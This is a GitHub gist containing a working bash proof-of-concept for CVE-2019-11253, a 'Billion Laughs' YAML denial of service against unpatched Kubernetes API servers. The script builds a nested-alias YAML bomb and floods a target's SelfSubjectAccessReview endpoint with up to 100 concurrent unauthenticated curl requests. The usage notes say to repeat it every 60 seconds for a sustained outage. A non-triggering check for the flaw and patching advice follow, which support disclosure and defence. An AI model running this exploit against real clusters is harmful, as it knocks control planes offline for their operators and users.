Last active
December 29, 2022 14:25
-
-
Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
CVE-2019-11253 Kubernetes API Server YAML Parsing Remote Denial of Service PoC aka "Billion Laughs"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# CVE-2019-11253 | |
# https://github.com/kubernetes/kubernetes/issues/83253 | |
# Shout out: @raesene for poc collab, @iancoldwater + @mauilion for | |
# HONKing inspiration and other guidance. | |
# Description: In Kubernetes 1.13 and below, the default configuration | |
# is that system:anonymous can request a selfsubjectaccessreview | |
# via mechanisms such as "kubectl auth can-i". This request can | |
# include POSTed YAML, and just the act of trying to parse it causes | |
# excessive memory usage by the API server. Anywhere from about 10 | |
# to 100 concurrent requests of this nature can overwhelm the API | |
# server's resources and cause it to become unresponsive to the point | |
# that the worker nodes and user's running kubectl will believe the | |
# control plane is offline. Since requests can last up to 60s by | |
# default before the timeout kicks in, sustaining the attack only | |
# requires between 10 and ~100 requests per minute. | |
# Recommendation: Update Kubernetes to a release that includes YAML | |
# parsing resource limits and limit direct, public access to API | |
# servers. See the above GH issue for details. | |
# This will work for Kubernetes 1.13 and below if not patched without | |
# requiring auth. It can be modified to send valid authentication | |
# headers and then work against all non-patched versions. | |
APISERVER="${1:-localhost}" | |
CONCURRENT="${2:-100}" | |
YAML="yaml_dos.yml" | |
# The data here doesn't really have to be a valid SAR request since | |
# the API server is DoSed just trying to parse it. | |
if [ ! -f $YAML ]; then | |
cat > $YAML <<EOF | |
apiVersion: authorization.k8s.io/v1 | |
kind: SelfSubjectAccessReview | |
metadata: | |
name: yaml-dos | |
namespace: default | |
data: | |
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"] | |
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] | |
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] | |
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] | |
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] | |
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] | |
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] | |
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] | |
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] | |
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i] | |
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j] | |
l: &l [*l,*l,*l,*l,*l,*l,*l,*l,*l] | |
EOF | |
fi | |
echo "Sending billions of HONKs using a flock of ${CONCURRENT} flying geese to https://${APISERVER}..." | |
seq 1 ${CONCURRENT} | xargs -I{} -n 1 -P ${CONCURRENT} curl -sk -XPOST -H "Content-Type: application/yaml" --data-binary @"${YAML}" "https://${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" |
How to check for vulnerability without triggering the Denial of Service (1.13.7 shown):
curl -sk -XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": ".authorization.k8s.io \"\" is invalid: spec.resourceAttributes: Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
"reason": "Invalid",
"details": {
"group": "authorization.k8s.io",
"causes": [
{
"reason": "FieldValueInvalid",
"message": "Invalid value: \"null\": exactly one of nonResourceAttributes or resourceAttributes must be specified",
"field": "spec.resourceAttributes"
}
]
},
"code": 422
}
The Error Code 422 message explains that the YAML was expected to have certain fields. This indicates the server did in fact try to parse what was sent. Use the value from https://my.api.server.ip/version
on most clusters to know if the cluster is an un-patched version.
Checking K8s 1.14.6 and showing it is not available due to RBAC permissions preventing it anonymously:
$ curl -sk-XPOST -H "Content-Type: application/yaml" -d "" "https://my.api.server.ip/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "selfsubjectaccessreviews.authorization.k8s.io is forbidden: User \"system:anonymous\" cannot create resource \"selfsubjectaccessreviews\" in API group \"authorization.k8s.io\" at the cluster scope",
"reason": "Forbidden",
"details": {
"group": "authorization.k8s.io",
"kind": "selfsubjectaccessreviews"
},
"code": 403
}
Kubernetes 1.14+ by default does not grant the ability to perform SelfSubjectAccessReviews
and similar requests by system:anonymous
. Again, see the Kubernetes Issue for the RBAC changes.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Usage:
Monitor the CPU/RAM and health/availability of the API server in question. Keep running this every 60s to perform a sustained attack.